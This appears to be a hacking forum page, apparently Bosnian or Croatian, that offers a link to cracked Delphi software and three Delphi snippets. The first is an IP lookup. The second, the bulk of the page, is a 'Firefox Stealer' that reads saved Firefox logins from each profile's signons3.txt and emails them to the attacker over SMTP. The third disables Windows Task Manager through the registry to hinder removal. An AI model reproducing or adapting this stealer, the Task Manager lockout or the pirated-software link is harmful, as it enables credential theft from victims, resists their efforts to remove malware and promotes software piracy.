Ovdje možete download Crack Delphi-a
http://www.mediafire.com/?zy5yj2z1wmm
Šifra
Hackers-corner.co.ukSaznajte IP Adresu
var i:integer; x,s:ansistring; begin try x:=IdHTTP1.Get('http://checkip.dyndns.org'); i:= AnsiPos('Address:',x); i:=i+9; while x[i]<>'<' do begin s:=s+x[i]; inc(i); end; Edit1.Text:=s; finally end; end;
Firefox Stealer
program Project1;
uses
Windows,
Messages,
SysUtils,
StrUtils,
Variants,
Classes,
Graphics,
Controls,
Forms,
Dialogs,
IdPOP3,
IdBaseComponent,
IdComponent,
IdTCPConnection,
IdTCPClient,
IdMessageClient,
IdSMTP,
IdMessage;
{$R *.res}
procedure FindAll (const Path: String;
Attr: Integer;
List: TStringList) ;//Alert! this function is ripped from my codepedia
var
Res: TSearchRec;
EOFound: Boolean;
begin
EOFound:= False;
if FindFirst(Path, Attr, Res) < 0 then
exit
else
while not EOFound do begin
List.Add(Res.Name) ;
EOFound:= FindNext(Res) <> 0;
end;
FindClose(Res) ;
end;
function GetEnvVarValue(const VarName: string): string; //Alert! this function is ripped from my Codepedia
var
BufSize: Integer; // buffer size required for value
begin
// Get required buffer size (inc. terminal #0)
BufSize := GetEnvironmentVariable(PChar(VarName), nil, 0);
if BufSize > 0 then
begin
// Read env var value into result string
SetLength(Result, BufSize - 1);
GetEnvironmentVariable(PChar(VarName),
PChar(Result), BufSize);
end
else
// No such environment variable
Result := '';
end;
var
pop3:TIdPOP3;
smtp:TIdSMTP;
msg:TIdMessage;
Sl:TStringList;
i:integer;
j:integer;
F: TextFile;
S:string;
begin
Sl:=TStringList.Create;
Sb:=TstringList.Create;
Application.Initialize;
//sets pop3 and smtp username and password
pop3.Host := 'pop3 yourpop3server';
pop3.Username := 'username';
pop3.Password := 'password';
pop3.Connect;
smtp.Host := 'smtp.example.com';
smtp.AuthType := atLogin;
smtp.Username := 'yourusername';
smtp.Password := 'password';
//connect it(doh)
smtp.Connect;
//search for your user folder, since is random name generated
//i get all valid folders inside
FindAll(GetEnvVarValue('APPDATA')+'\Mozilla\Firefox\Profiles\*.*',faAnyFile,Sl);
for i:=0 to Sl.Count-1 do
begin
if Length(Sl[i])>3 then
begin
//start the signons3.txt file
AssignFile(F, GetEnvVarValue('APPDATA')+'\Mozilla\Firefox\Profiles\'+Sl[i]+'\signons3.txt');
Reset(F);
while not Eof(F) do //read the signons3.txt and put it into msg body
begin
ReadLn(F, S);
msg.Body.Add(S);
end;
//set the email parameters
msg.Subject:='Fstealer from '+GetEnvVarValue('USER');
msg.From.Address:='youraddress';
msg.Recipients.Clear;
msg.Recipients.Add.Address := 'youraddress';//you are going to send it to yourself
smtp.Send(msg);
smtp.Disconnect;
end;
Application.Run;
end;
end.
Disable TaskManager( CTRL+ALT+DELETE )
procedure DisableTaskMgr(bTF: Boolean);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software', True);
reg.OpenKey('Microsoft', True);
reg.OpenKey('Windows', True);
reg.OpenKey('CurrentVersion', True);
reg.OpenKey('Policies', True);
reg.OpenKey('System', True);
if bTF = True then
begin
reg.WriteString('DisableTaskMgr', '1');
end
else if bTF = False then
begin
reg.DeleteValue('DisableTaskMgr');
end;
reg.CloseKey;
end;
